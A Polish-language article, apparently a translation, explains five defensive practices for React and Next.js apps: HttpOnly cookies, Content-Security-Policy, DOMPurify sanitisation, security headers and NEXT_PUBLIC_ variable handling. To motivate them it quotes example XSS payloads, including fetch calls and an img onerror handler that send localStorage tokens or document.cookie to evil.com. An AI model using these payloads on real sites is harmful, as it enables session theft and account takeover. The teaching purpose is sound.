Strona główna / Artykuły

Pięć zabezpieczeń frontendu, których potrzebuje każde aplikacje React i Next.js

Dlaczego aplikacje React i Next.js do produkcji wykorzystują pliki cookie HttpOnly, CSP, DOMPurify, nagłówki bezpieczeństwa oraz zasady NEXT_PUBLIC_, i jakie ataki każdy z nich blokuje.

Wydawca: REACTAPP.TOP8 min czytania1873 słów

Źródła: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

Latwo potraktować bezpieczeństwo jako zadanie warstwy backend, jednak wiele poważnych luk bezpieczeństwa, od skradzionych sesji po wyciek kluczy API, ma swoje źródło w kodzie klienta. Bazy kodu React i Next.js używane w produkcji zawierają wzorce, które na pierwszy rzut oka wydają się niepotrzebne: pliki cookie typu HttpOnly, nietypowe nagłówki w next.config.js, narzędzie DOMPurify, zmienne typu NEXT_PUBLIC_ oraz zasada Content-Security-Policy. Ten przewodnik wyjaśnia pięć najważniejszych z nich, ataki, które blokują, oraz uwagi dotyczące prawidłowego ich stosowania.

1. Chronienie tokenów autoryzacyjnych przed dostępem z JavaScript za pomocą plików cookie HttpOnly

Zachowywanie tokenów jest prawdopodobnie najważniejszą decyzją dotyczącą bezpieczeństwa w interfejsie użytkownika. Powszechnym podejściem jest przechowywanie tokena w localStorage:

localStorage.setItem("token", token);

i ręczne dołączanie go do każdego żądania:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

To działa, ale sprawia, że token może być odczytywany przez każdy skrypt uruchamiany na stronie.

Jak XSS przekształca się w przejęcie konta

Cross-site scripting (XSS) oznacza, że atakujący sprawia, iż jego skrypt JavaScript jest wykonywany na twojej stronie. Typowym punktem wejścia jest renderowanie niezaufanego HTML, np. komentarza użytkownika:

<div dangerouslySetInnerHTML={{ __html: comment }} />

Jeśli atakujący może uruchomić skrypt, odczytanie tokena zajmuje jedną linię kodu:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

Ściśle mówiąc, tag script wstawiony za pomocą innerHTML (którego używa dangerouslySetInnerHTML) nie jest wykonywany; prawdziwe ataki wykorzystują nośniki z obsługą zdarzeń, takie jak te opisane w sekcji 3. W obu przypadkach, gdy skrypt zostanie uruchomiony, localStorage staje się w pełni dostępny.

Każdy, kto posiada token nośny, może się zalogować bez konieczności podawania hasła i uzyskać dostęp do konta, podszywać się pod użytkownika, wykonywać transakcje lub korzystać z funkcji administracyjnych.

Niech przeglądarka przechowuje sesję

Standardowym rozwiązaniem jest umieszczenie sesji na serwerze w pliku cookie, do którego skrypty nie mają dostępu:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

Każdy atrybut pełni określoną funkcję:

  • HttpOnly ukrywa plik cookie przed JavaScriptem: odczytanie go ze skryptu, jak poniżej, nie przyniesie żadnego rezultatu.
  • Secure ogranicza dostęp do pliku cookie tylko do protokołu HTTPS.
  • SameSite=Strict zapobiega wysyłaniu pliku cookie w żądaniach pochodzących z innych stron, co stanowi skuteczną ochronę przed podrobieniem żądania między stronami (CSRF). Wartość Strict usuwa również plik cookie, gdy użytkownicy przychodzą za pośrednictwem linków z innych stron, dlatego wiele aplikacji wybiera wartość Lax.
document.cookie

Zmiana dotyczy przynależności odpowiedzialności. Wcześniej token kontrolował frontend:

Frontend controls token

Po zmianie to przeglądarka go kontroluje:

Browser controls token

Po tym kodzie nie będzie już utworzany taki nagłówek przy każdym wywołaniu:

Authorization: Bearer token

ponieważ przeglądarka automatycznie dodaje plik cookie. Dane uwierzytelniające nigdy nie przechodzą przez kod aplikacji. Jeśli chodzi o stronę serwera, zapoznaj się z naszym porównaniem sesji i JWT w Node.js.

2. Zapobieganie uruchamianiu wstrzykiwanych skryptów za pomocą Content Security Policy

Często pomijaną formą ochrony jest nagłówek o nazwie

Content-Security-Policy

który projekty Next.js często konfigurują w

next.config.js

Dlaczego pliki cookie typu HttpOnly nie wystarczają

Załóżmy, że atakujący udaje się wstrzyknąć zewnętrzny skrypt:

<script src="https://evil.com/hack.js"></script>

Domyślnie przeglądarka go uruchamia. Atakujący nie może odczytać pliku cookie, ale i tak tego nie musi: skrypt działa w obrębie twojego domeny, więc jego żądania automatycznie zawierają pliki cookie użytkownika:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

Serwer widzi autoryzowaną prośbę i przetwarza transfer. Ten sam mechanizm umożliwia inne ataki:

  • Sztuczne okna logowania. Skrypt wyświetla dialog wyglądający oficjalnie, podobny do tekstu poniżej, a wszystko, co wpisze użytkownik, trafia do atakującego.
  • Przymusowe przekierowania. Użytkownicy są po cichu kierowani na stronę phishingową, która imituje twoją.
"Session expired. Enter password again."

Lista dopuszczalnych plików z kodem wykonywalnym

CSP informuje przeglądarkę, z jakich źródeł skryptów może ona korzystać. Minimalna polityka wygląda w ten sposób:

Content-Security-Policy:
script-src 'self'

'self' oznacza, że dozwolone są tylko skrypty serwowane z twojego własnego źródła. Gdy strona napotka skrypt z innego domeny, np. taki jak poniżej, przeglądarka odmawia jego wykonania:

<script src="evil.com/hack.js"></script>

W Next.js można wysłać nagłówek dla każdej trasy za pomocą headers() w konfiguracji:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

Traktuj to jako punkt wyjścia. Samo script-src 'self' blokuje również skrypty wstawione bezpośrednio w kodzie, które Next.js wykorzystuje do procesu hydratacji, dlatego ścisła polityka zazwyczaj wymaga użycia tokenów jednorazowych (sprawdź aktualne dokumentacje Next.js dotyczące podejścia z pośrednikami). Najpierw wdrażaj nowe polityki za pomocą Content-Security-Policy-Report-Only.

Dwa poziomy, dwa cele

Cookies typu HttpOnly ograniczają skutki ataków XSS; CSP ma na celu całkowite uniemożliwienie uruchomienia skryptów. Prawdziwa ochrona pochodzi z połączenia obu tych rozwiązań.

3. Sanitizuj HTML przed użyciem dangerousSetInnerHTML

React zapobiega atakom XSS tylko na swojej domyślnej ścieżce renderowania, gdzie tekst interpolowany jest zabezpieczany:

<p>{content}</p>

Zatem jeśli API zwraca taki ciąg znaków, React renderuje go jako widzialny tekst, zamiast go wykonać:

<script>alert("hacked")</script>

Rozwiązaniem jest

dangerouslySetInnerHTML

a React umieszcza to słowo

dangerously

celowo w swojej nazwie.

Gdy naprawdę potrzebujesz surowego HTML

Blogi, strony CMS, wyniki z Markdown oraz edytory tekstu wymagają renderowania HTML. Załóżmy, że backend zwraca:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

Renderowanie go za pomocą standardowej interpolacji:

<p>{content}</p>

pokazuje tagi jako dosłowny tekst. Przejście na rozwiązanie typu „escape hatch” daje poprawnie sformatowany treść:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

Wygląda poprawnie, a jednocześnie stanowi punkt iniekcji.

Ładunek, który rzeczywiście się wykonuje

Napastnik wysyła taką markup:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

Zródło obrazu jest celowo nieważne, ładowanie się nie udaje, a obsługa błędu onerror uruchamia JavaScript atakującego.

Oczyszczaj je za pomocą DOMPurify

Zwykłym rozwiązaniem jest oczyszczenie treści przed wyświetleniem. Zainstaluj bibliotekę:

npm install dompurify

imporuj ją:

import DOMPurify from "dompurify";

i oczyszczaj treść przed przekazaniem jej do React (w rzeczywistym kodzie wywołanie sanitize i instrukcja return muszą znajdować się na oddzielnych liniach):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify usuwa niebezpieczne elementy, takie jak elementy script, obsługi zdarzeń wewnątrz kodu, takie jak onerror i onclick, adresy URL w postaci javascript: w linkach oraz wstawione iframy, pozostawiając jedynie bezpieczne znaczniki. Na serwerze nie ma DOM-a przeglądarki, dlatego kod renderowany na serwerze wymaga implementacji DOM, takiej jak jsdom, lub oczyszczenia w momencie zapisu.

Niezaufane źródła obejmują również własny backend

Nigdy nie ufaj danych wprowadzanych przez użytkowników, nawet tym pochodzącym z twojej własnej API; te dane zazwyczaj pochodzą z źródeł mniej wiarygodnych:

  • koniec użytkowników
  • paneli administracyjne
  • edytory CMS
  • API firm trzecich
  • edytory tekstu z formatowaniem

4. Nagłówki bezpieczeństwa przeglądarki, które zamykają ukryte luki

wiele konfiguracji produkcyjnych ustawia trzy nagłówki, które łatwo przeoczyć:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

Każdy z nich blokuje inny rodzaj ataku.

X-Frame-Options przeciwko clickjackingowi

Napastnik tworzy stronę na swoim domenie:

evil.com

i ładuje twoją stronę w niewidzialnym iframe u góry tej strony. Użytkownik myśli, że kliknął

Claim Prize

ale kliknięcie trafia na twój prawdziwy przycisk poniżej:

Transfer ₹50,000

To jest clickjacking. Rozwiązaniem jest zakaz tworzenia ramek:

X-Frame-Options: DENY

Następnie przeglądarka odmawia otwierania Twoich stron w ramkach. Współczesnym odpowiednikiem CSP jest frame-ancestors 'none'; ustawienie obu rozwiązań obejmuje starsze przeglądarki.

Strict-Transport-Security w celu wymuszenia HTTPS

W niezaufanych sieciach, takich jak publiczne Wi-Fi, ruch HTTP może zostać przechwycony, co prowadzi do ujawnienia haseł, danych sesji, kodów jednorazowych oraz innych poufnych informacji. HSTS nakazuje przeglądarce używać wyłącznie HTTPS:

Strict-Transport-Security:
max-age=31536000

Gdy przeglądarka już zobaczy ten nagłówek, nawet adres wpisany ręcznie

http://example.com

jest automatycznie przekształcany w

https://example.com

zanim jakikolwiek żądanie opuści urządzenie. Wartość max-age wynosi rok. Przeglądarka poznaje tę zasadę tylko przez HTTPS, więc pierwsza wizyta jest niezabezpieczona, chyba że domena została wcześniej załadowana.

X-Content-Type-Options przeciwko analizie typu MIME

Przeglądarki historycznie próbowały odgadnąć rzeczywisty typ pliku. Jeśli serwer deklaruje

Content-Type: image/jpeg

ale plik w rzeczywistości zawiera skrypt, przeglądarka wykrywająca to może potraktować go jako plik wykonywalny. Aby wyłączyć to zachowanie, wystarczy użyć jednego nagłówka:

X-Content-Type-Options:
nosniff

Pozwala on przeglądarce ufać deklarowanemu Content-Type i przestać zgadywać.

Ustawianie wszystkich trzech w Next.js

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

Te nagłówki nie kosztują prawie nic i eliminują całe kategorie ataków.

5. Oddzielenie tajemnic serwera od zmiennych środowiskowych widocznych w przeglądarce

Umieszczenie pliku .env poza Gitem nie zapewnia bezpieczeństwa tajemnic. Ważne jest to, co trafia do paczki JavaScript.

Jak tajemnice trafiają do paczki

Weźmy taką zmienną:

SECRET_KEY=abc123

do której odwołuje się kod po stronie klienta:

console.log(
 process.env.SECRET_KEY
);

Gdy narzędzie kompilacyjne wstawia zmienne środowiskowe bezpośrednio do kodu podczas budowania, dostarczany kod zawiera ich dosłowną wartość:

console.log("abc123");

Każdy może ją odczytać w narzędziach deweloperskich. Next.js zapobiega takim przypadkom przez przypadek: zmienne bez prefiksu NEXT_PUBLIC_ nie są wstawiane do kodu przeglądarki i tam są traktowane jako undefined. Ucieczki danych występują, gdy tajemnica otrzymuje publiczny prefiks w celu stłumienia błędu lub gdy komponent serwerowy przekazuje ją do komponentu klienckiego jako właściwość.

Umowa NEXT_PUBLIC_

Tylko zmienne, których nazwy zaczynają się od

NEXT_PUBLIC_

są włączane do budowanego kodu przeglądarki. Taka wartość może być bezpiecznie udostępniona:

NEXT_PUBLIC_API_URL=
https://api.com

i może być odczytana w kodzie klienckim jako:

process.env
.NEXT_PUBLIC_API_URL

ponieważ adres URL API i tak jest publiczny.

Czego absolutnie nie może być publicznego

To należy umieścić wyłącznie na serwerze:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

Typowa konfiguracja produkcji

Repozytorium nie zawiera pliku .env, ponieważ plik ten jest wymieniony w .gitignore:

.env

Prawdziwe wartości są wprowadzane przez system CI/CD lub platformę hostingową w momencie budowania lub rozgłoszenia. Tylko wartości NEXT_PUBLIC_ trafiają do pliku bundle przeglądarki; wszystko inne pozostaje na serwerze.

Zasada do zapamiętania: jeśli przeglądarka może uzyskać dostęp do danej wartości, jest ona publiczna. Żaden sekret frontendu tak naprawdę nie jest tajny.

Główne wnioski

Bезpieczeństwo frontendu polega na stopniowym zmniejszaniu powierzchni ataku i utrudnianiu eksploatacji, warstwa po warstwie.

  1. Cookies HttpOnly chronią tokeny sesji przed dostępem skryptów wprowadzanych z zewnątrz.
  2. Polityka bezpieczeństwa treści zapobiega uruchamianiu nieuprawnionych skryptów, ale wymaga użycia nonces do współistnienia z wstawionymi skryptami Next.js.
  • DOMPurify sprawia, że dangerouslySetInnerHTML jest bezpieczny przy używaniu treści, których nie stworzyłeś.
  • Headery bezpieczeństwa z dużym natężeniem blokują clickjacking, obniżanie poziomu protokołu oraz analizę typów MIME.
  • Granica NEXT_PUBLIC_ decyduje o tym, co trafia do przeglądarki, dlatego należy traktować ten przedrostek jako decyzję dotyczącą publikacji.
  • Znajomość tego, jakie ataki każdy z tych mechanizmów blokuje, pozwala prawidłowo je skonfigurować i zauważyć, gdy któryś jest brakujący.